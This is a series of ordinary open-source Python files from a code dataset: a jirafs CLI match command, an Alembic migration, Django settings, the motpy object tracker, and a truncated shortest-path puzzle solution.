value\"\"\"\n\n TRY_SUBFOLDERS = True\n MIN_VERSION = \"2.0.0\"\n MAX_VERSION = \"3.0.0\"\n\n def handle(self, args, folder, **kwargs):\n return self.cmd(\n folder,\n args.field_name,\n args.field_value,\n isjson=args.json,\n negate=args.negate,\n raw=args.raw,\n quiet=args.quiet,\n execute=args.execute,\n execute_here=args.execute_here,\n )\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"field_name\",\n )\n parser.add_argument(\n \"field_value\",\n )\n parser.add_argument(\n \"--json\",\n help=(\"Process the provided field value as JSON\"),\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"--execute\",\n help=(\n \"Execute a command for each matching result; by default,\"\n \" will be executed from within the matching folder directory\"\n \" when executed on a folder containing multiple ticket\"\n \" folders. See --execute-here to change this behavior.\"\n \" The string {} will be replaced with the folder directory \"\n \" path.\"\n ),\n default=None,\n )\n parser.add_argument(\n \"--execute-here\",\n help=(\n \"Do not switch directories to matching folders's paths\"\n \" when using --execute.\"\n ),\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"--negate\",\n help=(\"Compare the field value without applying \" \"plugin transformations\"),\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"--raw\",\n help=(\"Return the field value without applying \" \"plugin transformations\"),\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"--quiet\",\n help=(\"Print no message to stdout indicating success or failure\"),\n action=\"store_true\",\n default=False,\n )\n\n def main(\n self,\n folder,\n field_name,\n field_value,\n isjson,\n negate,\n raw,\n quiet,\n execute,\n execute_here,\n ):\n actual_value = folder.get_field_value_by_dotpath(field_name, raw=raw)\n\n if isjson:\n field_value = json.loads(field_value)\n\n success = actual_value == field_value\n\n comparison_result = \" != \"\n if success:\n comparison_result = \" == \"\n message = \"{left} {comparison} {right}\".format(\n left=actual_value,\n comparison=comparison_result,\n right=field_value,\n )\n\n if negate:\n success = not success\n\n if execute and success:\n execute = execute.replace(\"{}\", folder.path)\n subprocess.call(\n execute, shell=True, cwd=os.getcwd() if execute_here else folder.path\n )\n\n return (\n message if not quiet else None,\n 0 if success else 1,\n )\n\n def cmd(self, *args, **kwargs):\n message, return_code = self.main(*args, **kwargs)\n\n return CommandResult(message, return_code=return_code)\n","repo_name":"coddingtonbear/jirafs","sub_path":"jirafs/commands/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"63"} +{"seq_id":"10855259854","text":"\"\"\"empty message\n\nRevision ID: fb7684581c0a\nRevises: be3ebe1ded28\nCreate Date: 2021-11-08 13:51:32.490415\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'fb7684581c0a'\ndown_revision = 'be3ebe1ded28'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('info',\n sa.Column('department', sa.String(length=20), nullable=False),\n sa.Column('position', sa.String(length=25), nullable=False),\n sa.Column('authority', sa.String(length=30), nullable=True),\n sa.PrimaryKeyConstraint('department', 'position')\n )\n op.create_table('employee',\n sa.Column('id', sa.String(length=20), nullable=False),\n sa.Column('name', sa.String(length=20), nullable=False),\n sa.Column('pw', sa.String(length=20), nullable=False),\n sa.Column('gender', sa.String(length=10), nullable=False),\n sa.Column('birth_date', sa.Date(), nullable=False),\n sa.Column('age', sa.Integer(), nullable=False),\n sa.Column('phone', sa.String(length=11), nullable=False),\n sa.Column('email', sa.String(length=20), nullable=False),\n sa.Column('salary', sa.Integer(), nullable=False),\n sa.Column('account', sa.String(length=20), nullable=False),\n sa.Column('theater_id', sa.String(length=20), nullable=True),\n sa.ForeignKeyConstraint(['theater_id'], ['theater.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('commute', sa.Column('employee_id', sa.String(length=20), nullable=True))\n op.create_foreign_key(None, 'commute', 'employee', ['employee_id'], ['id'])\n op.drop_column('commute', 'user_id')\n op.add_column('evaluation', sa.Column('employee_id', sa.String(length=20), nullable=True))\n op.create_foreign_key(None, 'evaluation', 'employee', ['employee_id'], ['id'])\n op.add_column('schedulemanage', sa.Column('employee_id', sa.String(length=20), nullable=True))\n op.create_foreign_key(None, 'schedulemanage', 'employee', ['employee_id'], ['id'])\n op.add_column('user', sa.Column('gender', sa.String(length=10), nullable=False))\n op.add_column('user', sa.Column('birth_date', sa.Date(), nullable=False))\n op.add_column('user', sa.Column('age', sa.Integer(), nullable=False))\n op.add_column('user', sa.Column('phone', sa.String(length=11), nullable=False))\n op.add_column('user', sa.Column('salary', sa.Integer(), nullable=False))\n op.add_column('user', sa.Column('account', sa.String(length=20), nullable=False))\n op.add_column('user', sa.Column('department_info', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('theater_id', sa.String(length=20), nullable=True))\n op.create_foreign_key(None, 'user', 'theater', ['theater_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'user', type_='foreignkey')\n op.drop_column('user', 'theater_id')\n op.drop_column('user', 'department_info')\n op.drop_column('user', 'account')\n op.drop_column('user', 'salary')\n op.drop_column('user', 'phone')\n op.drop_column('user', 'age')\n op.drop_column('user', 'birth_date')\n op.drop_column('user', 'gender')\n op.drop_constraint(None, 'schedulemanage', type_='foreignkey')\n op.drop_column('schedulemanage', 'employee_id')\n op.drop_constraint(None, 'evaluation', type_='foreignkey')\n op.drop_column('evaluation', 'employee_id')\n op.add_column('commute', sa.Column('user_id', mysql.VARCHAR(length=20), server_default=sa.text(\"''\"), nullable=True))\n op.drop_constraint(None, 'commute', type_='foreignkey')\n op.drop_column('commute', 'employee_id')\n op.drop_table('employee')\n op.drop_table('info')\n # ### end Alembic commands ###\n","repo_name":"Gudegi/Database-Theater","sub_path":"migrations/versions/fb7684581c0a_.py","file_name":"fb7684581c0a_.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"856914524","text":"from os import environ\nfrom pathlib import Path\n\n\n# Build paths inside the project like this: BASE_DIR / \"subdir\".\nBASE_DIR: Path = Path(__file__).resolve().parent.parent\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY: str = environ.get(\"SECRET_KEY\", default=\"\")\n\n\n# SECURITY WARNING: don\"t run with debug turned on in production!\nDEBUG: bool = not not int(environ.get(\"DEBUG\", default=\"0\"))\n\n\nALLOWED_HOSTS: list[str] = environ.get(\"ALLOWED_HOSTS\", default=\"*\").split(\",\")\n\n\n# Application definition\n\nDJANGO_APPS: list[str] = [\n\t\"django.contrib.admin\",\n\t\"django.contrib.auth\",\n\t\"django.contrib.contenttypes\",\n\t\"django.contrib.sessions\",\n\t\"django.contrib.messages\",\n\t\"django.contrib.staticfiles\",\n]\n\nTHIRD_PARTY_APPS: list[str] = [\n\t# Servers\n\t\"daphne\",\n\t\"gunicorn\",\n\t\"uvicorn\",\n\t# REST API\n\t\"corsheaders\",\n\t\"rest_framework\",\n\t\"rest_framework.authtoken\",\n\t\"djoser\",\n\t\"debug_toolbar\",\n]\n\nLOCAL_APPS: list[str] = [\n\t\"api\",\n]\n\nINSTALLED_APPS = THIRD_PARTY_APPS + DJANGO_APPS + LOCAL_APPS\n\n\nDJANGO_MIDDLEWARE: list[str] = [\n\t\"django.middleware.security.SecurityMiddleware\",\n\t\"django.contrib.sessions.middleware.SessionMiddleware\",\n\t\"django.middleware.common.CommonMiddleware\",\n\t\"django.middleware.csrf.CsrfViewMiddleware\",\n\t\"django.contrib.auth.middleware.AuthenticationMiddleware\",\n\t\"django.contrib.messages.middleware.MessageMiddleware\",\n\t\"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n]\n\nTHIRD_PARTY_MIDDLEWARE: list[str] = [\n\t\"corsheaders.middleware.CorsMiddleware\", # for working Django REST\n\t\"whitenoise.middleware.WhiteNoiseMiddleware\", # for servers to work with static files\n\t\"debug_toolbar.middleware.DebugToolbarMiddleware\",\n]\n\n# DEBUG TOOLBAR\nINTERNAL_IPS: list[str] = environ.get(\n\t\"DEBUG_TOOLBAR_INTERNAL_IPS\", default=\"127.0.0.1\"\n).split(\",\")\n\nMIDDLEWARE = DJANGO_MIDDLEWARE + THIRD_PARTY_MIDDLEWARE\n\n\nROOT_URLCONF: str = \"backend.urls\"\n\nTEMPLATES: list[dict] = [\n\t{\n\t\t\"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n\t\t\"DIRS\": [BASE_DIR / \"backend/templates\"],\n\t\t\"APP_DIRS\": True,\n\t\t\"OPTIONS\": {\n\t\t\t\"context_processors\": [\n\t\t\t\t\"django.template.context_processors.debug\",\n\t\t\t\t\"django.template.context_processors.request\",\n\t\t\t\t\"django.contrib.auth.context_processors.auth\",\n\t\t\t\t\"django.contrib.messages.context_processors.messages\",\n\t\t\t],\n\t\t},\n\t},\n]\n\nWSGI_APPLICATION: str = \"backend.wsgi.application\"\nASGI_APPLICATION: str = \"backend.asgi.application\"\n\n# If you need to use Redis:\nCHANNEL_LAYERS = {\n\t\"default\": {\n\t\t\"BACKEND\": \"channels_redis.core.RedisChannelLayer\",\n\t\t\"CONFIG\": {\n\t\t\t\"hosts\": [\n\t\t\t\t(\n\t\t\t\t\tenviron.get(\"CHANNEL_LAYERS_HOST\", default=\"127.0.0.1\"),\n\t\t\t\t\tint(environ.get(\"CHANNEL_LAYERS_PORT\", default=\"6379\")),\n\t\t\t\t)\n\t\t\t],\n\t\t\t\"symmetric_encryption_keys\": [SECRET_KEY],\n\t\t},\n\t},\n}\n\n\n# Database\n# https://docs.djangoproject.com/en/4.1/ref/settings/#databases\n\nDATABASES = {\n\t\"default\": {\n\t\t\"ENGINE\": \"django.db.backends.postgresql_psycopg2\",\n\t\t\"NAME\": environ.get(\"PG_NAME\"),\n\t\t\"USER\": environ.get(\"PG_USER\"),\n\t\t\"HOST\": environ.get(\"PG_HOST\"),\n\t\t\"PORT\": int(environ.get(\"PG_PORT\", default=\"5432\")),\n\t\t\"PASSWORD\": environ.get(\"PG_PASSWORD\"),\n\t},\n}\n\nCACHES = {\n\t\"default\": {\n\t\t\"BACKEND\": \"django.core.cache.backends.redis.RedisCache\",\n\t\t\"LOCATION\": \"redis://127.0.0.1:6379\",\n\t}\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS: list[dict[str, str]] = [\n\t{\n\t\t\"NAME\": \"django.contrib.auth.password_validation.UserAttributeSimilarityValidator\",\n\t},\n\t{\n\t\t\"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\",\n\t},\n\t{\n\t\t\"NAME\": \"django.contrib.auth.password_validation.CommonPasswordValidator\",\n\t},\n\t{\n\t\t\"NAME\": \"django.contrib.auth.password_validation.NumericPasswordValidator\",\n\t},\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/4.1/topics/i18n/\n\nLANGUAGE_CODE: str = \"en-us\"\n\nTIME_ZONE: str = \"UTC\"\n\nUSE_I18N: bool = True\n\nUSE_TZ: bool = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/4.1/howto/static-files/\n\nSTATIC_URL: str = \"static/\"\nSTATIC_ROOT: str = \"static\"\n\n\nSTATICFILES_DIRS: list[Path] = [BASE_DIR / \"backend/static\"]\n\n\n# Default primary key field type\n# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field\n\nDEFAULT_AUTO_FIELD: str = \"django.db.models.BigAutoField\"\n\n\n######### My settings #########\n\n# CORS settings\n\nCORS_ORIGIN_ALLOW_ALL: bool = True\n\n\n# REST FRAMEWORK settings\n\nREST_FRAMEWORK: dict[str, list[str]] = {\n\t\"DEFAULT_RENDERER_CLASSES\": [\n\t\t\"rest_framework.renderers.JSONRenderer\",\n\t],\n\t\"DEFAULT_AUTHENTICATION_CLASSES\": [\n\t\t\"rest_framework.authentication.BasicAuthentication\",\n\t\t\"rest_framework.authentication.SessionAuthentication\",\n\t\t\"rest_framework.authentication.TokenAuthentication\",\n\t],\n}\n\nif DEBUG:\n\tREST_FRAMEWORK[\"DEFAULT_RENDERER_CLASSES\"].append(\n\t\t\"rest_framework.renderers.BrowsableAPIRenderer\"\n\t)\n\n\n# DJOSER settings\n\nDJOSER: dict[str, str] = {\n\t\"USER_ID_FIELD\": \"pk\",\n\t\"LOGIN_FIELD\": \"username\",\n}\n\n\n# Logging\n\nLOGGING = {\n\t\"version\": 1,\n\t\"disable_existing_loggers\": False,\n\t\"formatters\": {\n\t\t\"simple\": {\n\t\t\t\"format\": \"[{asctime}] [{levelname}] {message}\",\n\t\t\t\"style\": \"{\",\n\t\t\t\"datefmt\": \"%Y-%m-%d %H:%M:%S %z\",\n\t\t},\n\t\t\"verbose\": {\n\t\t\t\"format\": \"[{asctime}] [{levelname}] [{module}] [{name}:{lineno}] [PROCESS: {process:d}] [THREAD: {thread:d}]\\n{message}\\n\",\n\t\t\t\"style\": \"{\",\n\t\t\t\"datefmt\": \"%Y-%m-%d %H:%M:%S %z\",\n\t\t},\n\t},\n\t\"handlers\": {\n\t\t\"Console\": {\n\t\t\t\"level\": \"INFO\",\n\t\t\t\"class\": \"logging.StreamHandler\",\n\t\t\t\"formatter\": \"simple\",\n\t\t},\n\t},\n\t\"loggers\": {\n\t\t\"Mouse\": {\n\t\t\t\"handlers\": [\"File\"],\n\t\t\t\"level\": \"DEBUG\",\n\t\t\t\"propagate\": True,\n\t\t},\n\t},\n}\n\nif DEBUG:\n\tlog_file = BASE_DIR / \"tmp/server_debug.log\"\n\n\tLOGGING[\"handlers\"].update(\n\t\t{\n\t\t\t\"File\": {\n\t\t\t\t\"level\": \"INFO\",\n\t\t\t\t\"class\": \"logging.FileHandler\",\n\t\t\t\t\"formatter\": \"simple\",\n\t\t\t\t\"filename\": log_file,\n\t\t\t},\n\t\t\t\"Main\": {\n\t\t\t\t\"level\": \"DEBUG\",\n\t\t\t\t\"class\": \"logging.handlers.RotatingFileHandler\",\n\t\t\t\t\"formatter\": \"verbose\",\n\t\t\t\t\"filename\": log_file,\n\t\t\t},\n\t\t}\n\t)\n\n\tLOGGING[\"loggers\"].update(\n\t\t{\n\t\t\t\"Django\": {\n\t\t\t\t\"level\": \"DEBUG\",\n\t\t\t\t\"handlers\": [\"Console\", \"Main\"],\n\t\t\t\t\"propagate\": True,\n\t\t\t},\n\t\t}\n\t)\nelse:\n\tlog_file = BASE_DIR / \"tmp/server_prod.log\"\n\n\tLOGGING[\"handlers\"].update(\n\t\t{\n\t\t\t\"File\": {\n\t\t\t\t\"level\": \"INFO\",\n\t\t\t\t\"class\": \"logging.FileHandler\",\n\t\t\t\t\"formatter\": \"simple\",\n\t\t\t\t\"filename\": log_file,\n\t\t\t},\n\t\t\t\"Main\": {\n\t\t\t\t\"level\": \"ERROR\",\n\t\t\t\t\"class\": \"logging.handlers.RotatingFileHandler\",\n\t\t\t\t\"formatter\": \"verbose\",\n\t\t\t\t\"filename\": log_file,\n\t\t\t},\n\t\t}\n\t)\n\n\tLOGGING[\"loggers\"].update(\n\t\t{\n\t\t\t\"Django\": {\n\t\t\t\t\"level\": \"ERROR\",\n\t\t\t\t\"handlers\": [\"Main\"],\n\t\t\t\t\"propagate\": True,\n\t\t\t},\n\t\t}\n\t)\n\n\n# Lazy loading settings\n\nPOSTS_TO_LOAD: int = int(environ.get(\"POSTS_TO_LOAD\", default=\"20\"))\n\nMESSAGES_TO_LOAD: int = int(environ.get(\"MESSAGES_TO_LOAD\", default=\"30\"))\n\n\n# Date time format\n\nDATETIME_FORMAT: str = environ.get(\"DATETIME_FORMAT\", default=\"%Y-%m-%d %H:%M\")\n","repo_name":"PHILIPP111007/phils_network","sub_path":"backend/backend/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"18031571985","text":"import time\nimport uuid\nfrom collections.abc import Iterable\nfrom typing import (Any, Callable, Dict, List, Optional, Sequence, Tuple, Type,\n Union)\n\nimport numpy as np\nimport scipy\nfrom filterpy.kalman import KalmanFilter\n\nfrom motpy.core import Box, Detection, Track, Vector, setup_logger\nfrom motpy.metrics import angular_similarity, calculate_iou\nfrom motpy.model import Model, ModelPreset\n\nlogger = setup_logger(__name__)\n\n\ndef get_kalman_object_tracker(model: Model, x0: Optional[Vector] = None) -> KalmanFilter:\n \"\"\" returns Kalman-based tracker based on a specified motion model spec.\n e.g. for spec = {'order_pos': 1, 'dim_pos': 2, 'order_size': 0, 'dim_size': 1}\n we expect the following setup:\n state x, x', y, y', w, h\n where x and y are centers of boxes\n w and h are width and height\n \"\"\"\n\n tracker = KalmanFilter(dim_x=model.state_length,\n dim_z=model.measurement_length)\n tracker.F = model.build_F()\n tracker.Q = model.build_Q()\n tracker.H = model.build_H()\n tracker.R = model.build_R()\n tracker.P = model.build_P()\n\n if x0 is not None:\n tracker.x = x0\n\n return tracker\n\n\nDEFAULT_MODEL_SPEC = ModelPreset.constant_velocity_and_static_box_size_2d.value\n\n\ndef exponential_moving_average_fn(gamma: float) -> Callable:\n def fn(old, new):\n if new is None:\n return old\n\n if isinstance(new, Iterable):\n new = np.array(new)\n\n if old is None:\n return new # first call\n\n if isinstance(old, Iterable):\n old = np.array(old)\n\n return gamma * old + (1 - gamma) * new\n\n return fn\n\n\nclass SingleObjectTracker:\n def __init__(self,\n max_staleness: float = 12.0,\n smooth_score_gamma: float = 0.8,\n smooth_feature_gamma: float = 0.9,\n score0: Optional[float] = None,\n class_id0: Optional[int] = None):\n self.id: str = str(uuid.uuid4())\n self.steps_alive: int = 1\n self.steps_positive: int = 1\n self.staleness: float = 0.0\n self.max_staleness: float = max_staleness\n\n self.update_score_fn: Callable = exponential_moving_average_fn(smooth_score_gamma)\n self.update_feature_fn: Callable = exponential_moving_average_fn(smooth_feature_gamma)\n\n self.score: Optional[float] = score0\n self.feature: Optional[Vector] = None\n\n self.class_id_counts: Dict = dict()\n self.class_id: Optional[int] = self.update_class_id(class_id0)\n\n logger.debug(f'creating new tracker {self.id}')\n\n def box(self) -> Box:\n raise NotImplementedError()\n\n def is_invalid(self) -> bool:\n raise NotImplementedError()\n\n def _predict(self) -> None:\n raise NotImplementedError()\n\n def predict(self) -> None:\n self._predict()\n self.steps_alive += 1\n\n def update_class_id(self, class_id: Optional[int]) -> Optional[int]:\n \"\"\" find most frequent prediction of class_id in recent K class_ids \"\"\"\n if class_id is None:\n return None\n\n if class_id in self.class_id_counts:\n self.class_id_counts[class_id] += 1\n else:\n self.class_id_counts[class_id] = 1\n\n return max(self.class_id_counts, key=self.class_id_counts.get)\n\n def _update_box(self, detection: Detection) -> None:\n raise NotImplementedError()\n\n def update(self, detection: Detection) -> None:\n self._update_box(detection)\n\n self.steps_positive += 1\n\n self.class_id = self.update_class_id(detection.class_id)\n self.score = self.update_score_fn(old=self.score, new=detection.score)\n self.feature = self.update_feature_fn(old=self.feature, new=detection.feature)\n\n # reduce the staleness of a tracker, faster than growth rate\n self.unstale(rate=3)\n\n def stale(self, rate: float = 1.0) -> float:\n self.staleness += rate\n return self.staleness\n\n def unstale(self, rate: float = 2.0) -> float:\n self.staleness = max(0, self.staleness - rate)\n return self.staleness\n\n def is_stale(self) -> bool:\n return self.staleness >= self.max_staleness\n\n def __repr__(self) -> str:\n return f'(box: {str(self.box())}, score: {self.score}, class_id: {self.class_id}, staleness: {self.staleness:.2f})'\n\n\nclass KalmanTracker(SingleObjectTracker):\n \"\"\" A single object tracker using Kalman filter with specified motion model specification \"\"\"\n\n def __init__(self,\n model_kwargs: dict = DEFAULT_MODEL_SPEC,\n x0: Optional[Vector] = None,\n box0: Optional[Box] = None,\n **kwargs) -> None:\n\n super(KalmanTracker, self).__init__(**kwargs)\n\n self.model_kwargs: dict = model_kwargs\n self.model = Model(**self.model_kwargs)\n\n if x0 is None:\n x0 = self.model.box_to_x(box0)\n\n self._tracker: KalmanFilter = get_kalman_object_tracker(model=self.model, x0=x0)\n\n def _predict(self) -> None:\n self._tracker.predict()\n\n def _update_box(self, detection: Detection) -> None:\n z = self.model.box_to_z(detection.box)\n self._tracker.update(z)\n\n def box(self) -> Box:\n return self.model.x_to_box(self._tracker.x)\n\n def is_invalid(self) -> bool:\n try:\n has_nans = any(np.isnan(self._tracker.x))\n return has_nans\n except Exception as e:\n logger.warning(f'invalid tracker - exception: {e}')\n return True\n\n\nclass SimpleTracker(SingleObjectTracker):\n \"\"\" A simple single tracker with no motion modeling and box update using exponential moving averege \"\"\"\n\n def __init__(self,\n box0: Optional[Box] = None,\n box_update_gamma: float = 0.5,\n **kwargs):\n\n super(SimpleTracker, self).__init__(**kwargs)\n self._box: Box = box0\n\n self.update_box_fn: Callable = exponential_moving_average_fn(box_update_gamma)\n\n def _predict(self) -> None:\n pass\n\n def _update_box(self, detection: Detection) -> None:\n self._box = self.update_box_fn(old=self._box, new=detection.box)\n\n def box(self) -> Box:\n return self._box\n\n def is_invalid(self) -> bool:\n try:\n return any(np.isnan(self._box))\n except Exception as e:\n logger.warning(f'invalid tracker - exception: {e}')\n return True\n\n\n\"\"\" assignment cost calculation & matching methods \"\"\"\n\n\ndef _sequence_has_none(seq: Sequence[Any]) -> bool:\n return any([r is None for r in seq])\n\n\ndef cost_matrix_iou_feature(trackers: Sequence[SingleObjectTracker],\n detections: Sequence[Detection],\n feature_similarity_fn=angular_similarity,\n feature_similarity_beta: float = None) -> Tuple[np.ndarray, np.ndarray]:\n\n # boxes\n b1 = np.array([t.box() for t in trackers])\n b2 = np.array([d.box for d in detections])\n\n # box iou\n inferred_dim = int(len(b1[0]) / 2)\n iou_mat = calculate_iou(b1, b2, dim=inferred_dim)\n\n # feature similarity\n if feature_similarity_beta is not None:\n # get features\n f1 = [t.feature for t in trackers]\n f2 = [d.feature for d in detections]\n\n if _sequence_has_none(f1) or _sequence_has_none(f2):\n # fallback to pure IOU due to missing features\n apt_mat = iou_mat\n else:\n sim_mat = feature_similarity_fn(f1, f2)\n sim_mat = feature_similarity_beta + (1 - feature_similarity_beta) * sim_mat\n\n # combined aptitude\n apt_mat = np.multiply(iou_mat, sim_mat)\n else:\n apt_mat = iou_mat\n\n cost_mat = -1.0 * apt_mat\n return cost_mat, iou_mat\n\n\nEPS = 1e-7\n\n\ndef match_by_cost_matrix(trackers: Sequence[SingleObjectTracker],\n detections: Sequence[Detection],\n min_iou: float = 0.1,\n multi_match_min_iou: float = 1. + EPS,\n **kwargs) -> np.ndarray:\n if len(trackers) == 0 or len(detections) == 0:\n return []\n\n cost_mat, iou_mat = cost_matrix_iou_feature(trackers, detections, **kwargs)\n row_ind, col_ind = scipy.optimize.linear_sum_assignment(cost_mat)\n\n matches = []\n for r, c in zip(row_ind, col_ind):\n # check linear assignment winner\n if iou_mat[r, c] >= min_iou:\n matches.append((r, c))\n\n # check other high IOU detections\n if multi_match_min_iou < 1.:\n for c2 in range(iou_mat.shape[1]):\n if c2 != c and iou_mat[r, c2] > multi_match_min_iou:\n matches.append((r, c2))\n\n return np.array(matches)\n\n\nclass BaseMatchingFunction:\n def __call__(self,\n trackers: Sequence[SingleObjectTracker],\n detections: Sequence[Detection]) -> np.ndarray:\n raise NotImplementedError()\n\n\nclass IOUAndFeatureMatchingFunction(BaseMatchingFunction):\n \"\"\" class implements the basic matching function, taking into account\n detection boxes overlap measured using IOU metric and optional \n feature similarity measured with a specified metric \"\"\"\n\n def __init__(self, min_iou: float = 0.1,\n multi_match_min_iou: float = 1. + EPS,\n feature_similarity_fn: Callable = angular_similarity,\n feature_similarity_beta: Optional[float] = None) -> None:\n self.min_iou = min_iou\n self.multi_match_min_iou = multi_match_min_iou\n self.feature_similarity_fn = feature_similarity_fn\n self.feature_similarity_beta = feature_similarity_beta\n\n def __call__(self,\n trackers: Sequence[SingleObjectTracker],\n detections: Sequence[Detection]) -> np.ndarray:\n return match_by_cost_matrix(\n trackers, detections,\n min_iou=self.min_iou,\n multi_match_min_iou=self.multi_match_min_iou,\n feature_similarity_fn=self.feature_similarity_fn,\n feature_similarity_beta=self.feature_similarity_beta)\n\n\nclass MultiObjectTracker:\n def __init__(self, dt: float,\n model_spec: Union[str, Dict] = DEFAULT_MODEL_SPEC,\n matching_fn: Optional[BaseMatchingFunction] = None,\n tracker_kwargs: Dict = None,\n matching_fn_kwargs: Dict = None,\n active_tracks_kwargs: Dict = None) -> None:\n \"\"\"\n model_spec specifies the dimension and order for position and size of the object\n matching_fn determines the strategy on which the trackers and detections are assigned.\n\n tracker_kwargs are passed to each single object tracker\n active_tracks_kwargs limits surfacing of fresh/fading out tracks\n \"\"\"\n\n self.trackers: List[SingleObjectTracker] = []\n\n # kwargs to be passed to each single object tracker\n self.tracker_kwargs: Dict = tracker_kwargs if tracker_kwargs is not None else {}\n self.tracker_clss: Optional[Type[SingleObjectTracker]] = None\n\n # translate model specification into single object tracker to be used\n if model_spec is None:\n self.tracker_clss = SimpleTracker\n if dt is not None:\n logger.warning('specified dt is ignored in simple tracker mode')\n elif isinstance(model_spec, dict):\n self.tracker_clss = KalmanTracker\n self.tracker_kwargs['model_kwargs'] = model_spec\n self.tracker_kwargs['model_kwargs']['dt'] = dt\n elif isinstance(model_spec, str) and model_spec in ModelPreset.__members__:\n self.tracker_clss = KalmanTracker\n self.tracker_kwargs['model_kwargs'] = ModelPreset[model_spec].value\n self.tracker_kwargs['model_kwargs']['dt'] = dt\n else:\n raise NotImplementedError(f'unsupported motion model {model_spec}')\n\n logger.debug(f'using single tracker of class: {self.tracker_clss} with kwargs: {self.tracker_kwargs}')\n\n self.matching_fn: BaseMatchingFunction = matching_fn\n self.matching_fn_kwargs: Dict = matching_fn_kwargs if matching_fn_kwargs is not None else {}\n if self.matching_fn is None:\n self.matching_fn = IOUAndFeatureMatchingFunction(**self.matching_fn_kwargs)\n\n # kwargs to be used when self.step returns active tracks\n self.active_tracks_kwargs: Dict = active_tracks_kwargs if active_tracks_kwargs is not None else {}\n logger.debug('using active_tracks_kwargs: %s' % str(self.active_tracks_kwargs))\n\n self.detections_matched_ids = []\n\n def active_tracks(self,\n max_staleness_to_positive_ratio: float = 3.0,\n max_staleness: float = 999,\n min_steps_alive: int = -1) -> List[Track]:\n \"\"\" returns all active tracks after optional filtering by tracker steps count and staleness \"\"\"\n\n tracks: List[Track] = []\n for tracker in self.trackers:\n cond1 = tracker.staleness / tracker.steps_positive < max_staleness_to_positive_ratio # early stage\n cond2 = tracker.staleness < max_staleness\n cond3 = tracker.steps_alive >= min_steps_alive\n if cond1 and cond2 and cond3:\n tracks.append(Track(id=tracker.id, box=tracker.box(), score=tracker.score, class_id=tracker.class_id))\n\n logger.debug('active/all tracks: %d/%d' % (len(self.trackers), len(tracks)))\n return tracks\n\n def cleanup_trackers(self) -> None:\n count_before = len(self.trackers)\n self.trackers = [t for t in self.trackers if not (t.is_stale() or t.is_invalid())]\n count_after = len(self.trackers)\n logger.debug('deleted %s/%s trackers' % (count_before - count_after, count_before))\n\n def step(self, detections: Sequence[Detection]) -> List[Track]:\n \"\"\" the method matches the new detections with existing trackers,\n creates new trackers if necessary and performs the cleanup.\n Returns the active tracks after active filtering applied \"\"\"\n t0 = time.time()\n\n # filter out empty detections\n detections = [det for det in detections if det.box is not None]\n\n # predict state in all trackers\n for t in self.trackers:\n t.predict()\n\n # match trackers with detections\n logger.debug('step with %d detections' % len(detections))\n matches = self.matching_fn(self.trackers, detections)\n logger.debug('matched %d pairs' % len(matches))\n\n self.detections_matched_ids = [None] * len(detections)\n\n # assigned trackers: correct\n for match in matches:\n track_idx, det_idx = match[0], match[1]\n self.trackers[track_idx].update(detection=detections[det_idx])\n self.detections_matched_ids[det_idx] = self.trackers[track_idx].id\n\n # not assigned detections: create new trackers POF\n assigned_det_idxs = set(matches[:, 1]) if len(matches) > 0 else []\n for det_idx in set(range(len(detections))).difference(assigned_det_idxs):\n det = detections[det_idx]\n tracker = self.tracker_clss(box0=det.box,\n score0=det.score,\n class_id0=det.class_id,\n **self.tracker_kwargs)\n self.detections_matched_ids[det_idx] = tracker.id\n self.trackers.append(tracker)\n\n # unassigned trackers\n assigned_track_idxs = set(matches[:, 0]) if len(matches) > 0 else []\n for track_idx in set(range(len(self.trackers))).difference(assigned_track_idxs):\n self.trackers[track_idx].stale()\n\n # cleanup dead trackers\n self.cleanup_trackers()\n\n # log step timing\n elapsed = (time.time() - t0) * 1000.\n logger.debug(f'tracking step time: {elapsed:.3f} ms')\n\n return self.active_tracks(**self.active_tracks_kwargs)\n","repo_name":"wmuron/motpy","sub_path":"motpy/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":16069,"program_lang":"python","lang":"en","doc_type":"code","stars":458,"dataset":"github-code","pt":"63"} +{"seq_id":"18815631668","text":"\n# Djikstra's way\nclass Solution:\n def secondMinimum(self, n: int, edges, time: int, change: int) -> int:\n adjList = [[] for _ in range(n+1)]\n for u, v in edges:\n adjList[u].append(v)\n adjList[v].append(u)\n\n minTimeSeen = None\n minHeap = [(0, 1)]\n distArr = [[] for _ in range(n+1)]\n distArr[1] = [0]\n while minHeap:\n timeTaken, node = heapq.heappop(minHeap)\n\n if node==n and len(distArr[node])==2: return max(distArr[node])\n\n for neigh in adjList[node]:\n # red signal -> wait and move to neigh if possible\n if timeTaken//change & 1:\n newMove = 